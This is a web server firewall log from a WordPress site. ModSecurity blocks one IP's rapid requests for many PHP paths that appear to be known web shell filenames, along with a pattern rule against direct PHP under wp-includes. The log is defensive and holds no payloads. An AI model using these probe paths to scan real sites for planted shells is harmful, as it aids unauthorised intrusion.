[Fri Apr 10 23:32:15.526704 2026] [:error] [pid 62769:tid 62774] [client 158.158.53.142:48882] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpha.php"] [unique_id "adkX_8WsSnfLoB8ifjDFnAAAAkM"]
[Fri Apr 10 23:32:16.193655 2026] [:error] [pid 62819:tid 62839] [client 158.158.53.142:8037] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adkYAPU20EyPf7NlsleGrQAAApE"]
[Fri Apr 10 23:32:16.725082 2026] [:error] [pid 62769:tid 62778] [client 158.158.53.142:7739] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adkYAMWsSnfLoB8ifjDFqgAAAkc"]
[Fri Apr 10 23:32:17.432992 2026] [:error] [pid 62651:tid 62658] [client 158.158.53.142:50167] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adkYATbAH0le57SIaqw5_QAAAcU"]
[Fri Apr 10 23:32:17.963116 2026] [:error] [pid 63062:tid 63088] [client 158.158.53.142:50168] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "adkYAZ2HtsmV85NqkMcSeAAAA5g"]
[Fri Apr 10 23:32:25.243151 2026] [:error] [pid 13189:tid 13214] [client 158.158.53.142:48875] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adkYCZAxiJKPums3eBAOcwAAAFY"]
[Fri Apr 10 23:32:25.782580 2026] [:error] [pid 62769:tid 62785] [client 158.158.53.142:49573] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adkYCcWsSnfLoB8ifjDF3QAAAk4"]
[Fri Apr 10 23:32:26.364001 2026] [:error] [pid 62710:tid 62716] [client 158.158.53.142:50124] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adkYCuME7qrf5xEWWJtIzgAAAgM"]
[Fri Apr 10 23:32:26.894902 2026] [:error] [pid 62769:tid 62780] [client 158.158.53.142:49576] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adkYCsWsSnfLoB8ifjDF5AAAAkk"]
[Fri Apr 10 23:32:27.506035 2026] [:error] [pid 62769:tid 62783] [client 158.158.53.142:49478] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "adkYC8WsSnfLoB8ifjDF8AAAAkw"]
[Fri Apr 10 23:32:28.245881 2026] [:error] [pid 62819:tid 62846] [client 158.158.53.142:7892] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "adkYDPU20EyPf7NlsleGugAAApg"]
[Fri Apr 10 23:32:28.879977 2026] [:error] [pid 13101:tid 13147] [client 158.158.53.142:51471] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "adkYDN8Ldw85818pj2oi9gAAAI4"]
[Fri Apr 10 23:32:29.504363 2026] [:error] [pid 13101:tid 13135] [client 158.158.53.142:7906] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "adkYDd8Ldw85818pj2oi-QAAAII"]
[Fri Apr 10 23:32:29.997795 2026] [:error] [pid 62884:tid 62896] [client 158.158.53.142:52040] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "adkYDeUCK1xrhnnmpo2b_gAAAsU"]
[Fri Apr 10 23:32:30.484080 2026] [:error] [pid 63134:tid 63157] [client 158.158.53.142:7925] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "adkYDtFALqPDwWi6eJLLxwAAA9Q"]
[Fri Apr 10 23:32:30.980070 2026] [:error] [pid 62769:tid 62772] [client 158.158.53.142:7878] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "adkYDsWsSnfLoB8ifjDGAAAAAkE"]
[Fri Apr 10 23:32:31.494705 2026] [:error] [pid 13101:tid 13134] [client 158.158.53.142:51493] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "adkYD98Ldw85818pj2ojAwAAAIE"]
[Fri Apr 10 23:32:31.990127 2026] [:error] [pid 13101:tid 13152] [client 158.158.53.142:7346] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adkYD98Ldw85818pj2ojBwAAAJM"]
[Fri Apr 10 23:32:32.551466 2026] [:error] [pid 63062:tid 63087] [client 158.158.53.142:8016] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adkYEJ2HtsmV85NqkMcSlAAAA5c"]
[Fri Apr 10 23:32:33.168285 2026] [:error] [pid 63062:tid 63081] [client 158.158.53.142:7795] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adkYEZ2HtsmV85NqkMcSlQAAA5E"]
[Fri Apr 10 23:32:33.683362 2026] [:error] [pid 63134:tid 63144] [client 158.158.53.142:51478] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "adkYEdFALqPDwWi6eJLLzQAAA8c"]
[Fri Apr 10 23:32:34.190680 2026] [:error] [pid 13189:tid 13202] [client 158.158.53.142:7777] [client 158.158.53.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adkYEpAxiJKPums3eBAOggAAAEo"]
[Fri Apr 10 23:32:34.804286 2026] [:error] [pid 13189:tid 13195] [client 158.158.53.142:49476] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "adkYEpAxiJKPums3eBAOhAAAAEM"]
[Fri Apr 10 23:32:35.457353 2026] [:error] [pid 13189:tid 13192] [client 158.158.53.142:50127] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "adkYE5AxiJKPums3eBAOigAAAEA"]
[Fri Apr 10 23:32:36.011792 2026] [:error] [pid 62769:tid 62781] [client 158.158.53.142:51465] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "adkYFMWsSnfLoB8ifjDGFwAAAko"]
[Fri Apr 10 23:32:36.486901 2026] [:error] [pid 13189:tid 13193] [client 158.158.53.142:7879] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "adkYFJAxiJKPums3eBAOjwAAAEE"]
[Fri Apr 10 23:32:36.986096 2026] [:error] [pid 13189:tid 13196] [client 158.158.53.142:50143] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adkYFJAxiJKPums3eBAOkgAAAEQ"]
[Fri Apr 10 23:32:37.466590 2026] [:error] [pid 13189:tid 13203] [client 158.158.53.142:48918] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adkYFZAxiJKPums3eBAOlwAAAEs"]
[Fri Apr 10 23:32:37.994367 2026] [:error] [pid 13189:tid 13212] [client 158.158.53.142:52149] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adkYFZAxiJKPums3eBAOmgAAAFQ"]
[Fri Apr 10 23:32:38.496561 2026] [:error] [pid 62769:tid 62786] [client 158.158.53.142:49575] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adkYFsWsSnfLoB8ifjDGHgAAAk8"]
[Fri Apr 10 23:32:39.015401 2026] [:error] [pid 13189:tid 13207] [client 158.158.53.142:7907] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adkYF5AxiJKPums3eBAOoQAAAE8"]
[Fri Apr 10 23:32:39.562629 2026] [:error] [pid 62769:tid 62778] [client 158.158.53.142:51479] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adkYF8WsSnfLoB8ifjDGJQAAAkc"]
[Fri Apr 10 23:32:40.070589 2026] [:error] [pid 62769:tid 62788] [client 158.158.53.142:49528] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adkYGMWsSnfLoB8ifjDGKwAAAlE"]
[Fri Apr 10 23:32:40.651090 2026] [:error] [pid 62769:tid 62786] [client 158.158.53.142:51456] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "adkYGMWsSnfLoB8ifjDGMAAAAk8"]
[Fri Apr 10 23:32:41.129791 2026] [:error] [pid 13101:tid 13136] [client 158.158.53.142:49593] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adkYGd8Ldw85818pj2ojEQAAAIM"]
[Fri Apr 10 23:32:41.661642 2026] [:error] [pid 62819:tid 62835] [client 158.158.53.142:52083] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adkYGfU20EyPf7NlsleGxgAAAo0"]
[Fri Apr 10 23:32:42.134686 2026] [:error] [pid 62819:tid 62839] [client 158.158.53.142:7884] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adkYGvU20EyPf7NlsleGyAAAApE"]
[Fri Apr 10 23:32:42.615421 2026] [:error] [pid 62769:tid 62785] [client 158.158.53.142:50145] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "adkYGsWsSnfLoB8ifjDGNAAAAk4"]
[Fri Apr 10 23:32:43.086179 2026] [:error] [pid 62769:tid 62784] [client 158.158.53.142:48866] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adkYG8WsSnfLoB8ifjDGOwAAAk0"]
[Fri Apr 10 23:32:43.580846 2026] [:error] [pid 62769:tid 62772] [client 158.158.53.142:51462] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adkYG8WsSnfLoB8ifjDGRAAAAkE"]
[Fri Apr 10 23:32:44.070376 2026] [:error] [pid 62769:tid 62781] [client 158.158.53.142:48950] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adkYHMWsSnfLoB8ifjDGSAAAAko"]
[Fri Apr 10 23:32:44.706136 2026] [:error] [pid 62769:tid 62790] [client 158.158.53.142:48880] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "adkYHMWsSnfLoB8ifjDGSwAAAlM"]
[Fri Apr 10 23:32:45.213310 2026] [:error] [pid 13101:tid 13147] [client 158.158.53.142:52073] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adkYHd8Ldw85818pj2ojHQAAAI4"]
[Fri Apr 10 23:32:45.688772 2026] [:error] [pid 13101:tid 13152] [client 158.158.53.142:7266] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adkYHd8Ldw85818pj2ojIQAAAJM"]
[Fri Apr 10 23:32:46.161151 2026] [:error] [pid 13101:tid 13137] [client 158.158.53.142:48862] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adkYHt8Ldw85818pj2ojJAAAAIQ"]
[Fri Apr 10 23:32:46.681683 2026] [:error] [pid 13189:tid 13198] [client 158.158.53.142:8131] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev.php"] [unique_id "adkYHpAxiJKPums3eBAOrwAAAEY"]
[Fri Apr 10 23:32:47.154711 2026] [:error] [pid 62710:tid 62736] [client 158.158.53.142:7802] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adkYH-ME7qrf5xEWWJtI3gAAAhc"]
[Fri Apr 10 23:32:47.674423 2026] [:error] [pid 13101:tid 13151] [client 158.158.53.142:7750] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adkYH98Ldw85818pj2ojLQAAAJI"]
[Fri Apr 10 23:32:48.161689 2026] [:error] [pid 62651:tid 62660] [client 158.158.53.142:7794] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adkYIDbAH0le57SIaqw6HAAAAcc"]
[Fri Apr 10 23:32:48.684069 2026] [:error] [pid 62710:tid 62723] [client 158.158.53.142:52111] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bal.php"] [unique_id "adkYIOME7qrf5xEWWJtI4QAAAgo"]
[Fri Apr 10 23:32:49.174957 2026] [:error] [pid 13100:tid 13105] [client 158.158.53.142:48842] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adkYIVzg-ZkZ0InWIP3SwQAAAQA"]
[Fri Apr 10 23:32:49.683936 2026] [:error] [pid 13100:tid 13114] [client 158.158.53.142:49574] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adkYIVzg-ZkZ0InWIP3SwgAAAQk"]
[Fri Apr 10 23:32:50.192916 2026] [:error] [pid 62769:tid 62777] [client 158.158.53.142:51474] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adkYIsWsSnfLoB8ifjDGVwAAAkY"]
[Fri Apr 10 23:32:50.680479 2026] [:error] [pid 62710:tid 62728] [client 158.158.53.142:48914] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "adkYIuME7qrf5xEWWJtI5QAAAg8"]
[Fri Apr 10 23:32:51.157957 2026] [:error] [pid 13101:tid 13143] [client 158.158.53.142:52054] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adkYI98Ldw85818pj2ojMQAAAIo"]
[Fri Apr 10 23:32:51.649297 2026] [:error] [pid 62884:tid 62891] [client 158.158.53.142:8049] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "adkYI-UCK1xrhnnmpo2cCwAAAsA"]
